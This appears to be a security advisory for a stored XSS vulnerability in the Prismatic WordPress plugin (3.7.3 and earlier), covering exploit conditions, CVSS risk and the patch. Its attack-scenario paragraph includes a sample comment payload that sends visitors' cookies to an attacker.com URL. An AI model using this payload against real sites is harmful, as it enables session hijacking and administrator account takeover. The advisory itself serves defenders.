Prismatic EUVD-2026-23212

Exploitation requires the target WordPress site to have: (1) Prismatic plugin version 3.7.3 or earlier installed and activated, (2) Comment submission enabled for unauthenticated users (WordPress default unless explicitly disabled), (3) Comment moderation disabled or attacker willing to wait for approval if enabled. The vulnerability affects the 'prismatic_encoded' pseudo-shortcode processing specifically, suggesting this feature must be actively supported by the installed plugin version. Attack complexity is low (AC:L) with no user interaction required (UI:N), meaning once a malicious comment is published, automatic exploitation occurs when any user views the page. No special WordPress configuration beyond default comment settings is required. The scope change (S:C) indicates successful exploitation impacts the broader WordPress application context, not just the Prismatic plugin sandbox, allowing attackers to access WordPress session data and perform actions with victim privileges. Sites with open comment submission on public posts/pages face highest risk; sites restricting comments to registered users or specific posts have reduced but non-zero exposure if attackers can create accounts.

Real-world risk is MODERATE-HIGH despite the 7.2 CVSS score. The attack vector is network-based with low complexity (AV:N/AC:L) and requires no authentication (PR:N) or user interaction (UI:N), making exploitation straightforward. The scope change (S:C) and confidentiality/integrity impacts (C:L/I:L) indicate attackers can compromise data beyond the vulnerable plugin itself. However, several factors moderate urgency: (1) No CISA KEV listing suggests this is not yet widely exploited in targeted campaigns, (2) WordPress comment moderation, if enabled, provides a defensive layer by requiring admin approval before malicious comments appear publicly, (3) The vulnerability requires the Prismatic plugin to be installed and active, limiting the attack surface to sites using this specific code display plugin, (4) EPSS probability data is unavailable but the combination of unauthenticated exploitation and patch availability (3.7.4) suggests automated scanning and opportunistic exploitation is likely within weeks. Organizations running public-facing WordPress sites with Prismatic plugin and open comment submission should prioritize patching. The stored XSS nature means successful exploitation creates persistent attack vectors affecting all site visitors until remediated.

An unauthenticated attacker visits a WordPress site running Prismatic plugin ≤3.7.3 with open comment submission. They craft a comment containing malicious JavaScript wrapped in the prismatic_encoded pseudo-shortcode with manipulated attributes designed to bypass sanitization, such as: [prismatic_encoded data='<script>document.location="http://attacker.com/steal.php?c="+document.cookie</script>']. Upon submission, WordPress stores the comment in the database. When legitimate users (including administrators) view the page containing this comment, the prismatic_decode function processes the shortcode without proper escaping, causing the injected JavaScript to execute in victims' browsers. The script exfiltrates session cookies to the attacker's server, enabling session hijacking and potential administrative account compromise. Publicly available exploit code status unknown at time of analysis.